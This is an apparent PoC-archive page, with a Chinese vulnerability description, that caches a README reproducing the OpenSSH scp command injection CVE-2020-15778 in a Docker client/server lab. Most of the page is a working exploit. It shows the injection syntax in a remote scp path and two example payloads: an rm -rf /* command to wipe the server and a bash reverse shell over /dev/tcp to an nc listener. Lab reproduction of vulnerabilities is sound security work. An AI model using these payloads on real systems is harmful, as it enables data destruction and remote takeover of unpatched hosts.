POC详情: 2383933bd6854d1c41c39eea62b6dad43818e277

来源
关联漏洞
标题: OpenSSH 操作系统命令注入漏洞 (CVE-2020-15778)
描述:OpenSSH(OpenBSD Secure Shell)是加拿大OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。 OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞源于外部输入数据构造操作系统可执行命令过程中,网络系统或产品未正确过滤其中的特殊字符、命令等。攻击者可利用该漏洞执行非法操作系统命令。
介绍
# CVE-2020-15778

## Introduction
This repo reproduces [CVE-2020-15778](https://nvd.nist.gov/vuln/detail/CVE-2020-15778).

## Steps
1. Build the docker images for scp server and client
```bash
cd client
docker build -t client-cve .
```
```bash
cd server
docker build -t server-cve .
```

2. Spin up the scp server in container.
```bash
docker run -d -P --name scp-server server-cve
```
Retrieve the internal IP address of the scp server by
```bash
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
```

3. Run the client in container.
```bash
docker run --name scp-client -i -t client-cve
```

4. Inject your own shell command to scp server by call scp command in the client.

In client terminal, run
```bash
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'
```
The password is "PASSWORD".

## Examples
Here're some examples for this exploit.

1. Delete everything in the server to crash it.
```bash
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
```

2. Reflect the bash of the scp server into the client (mimic ssh).

Listen to a port on client machine.
```bash
nc -lvvp 8080
```

Use scp to force the server mapping the interactive bash into the client machine.
```bash
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'
```

The client IP address can be retrieved by
```bash
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client
```
文件快照

[4.0K] /data/pocs/2383933bd6854d1c41c39eea62b6dad43818e277 ├── [4.0K] client │   └── [ 119] Dockerfile ├── [1.5K] README.md └── [4.0K] server └── [ 393] Dockerfile 2 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。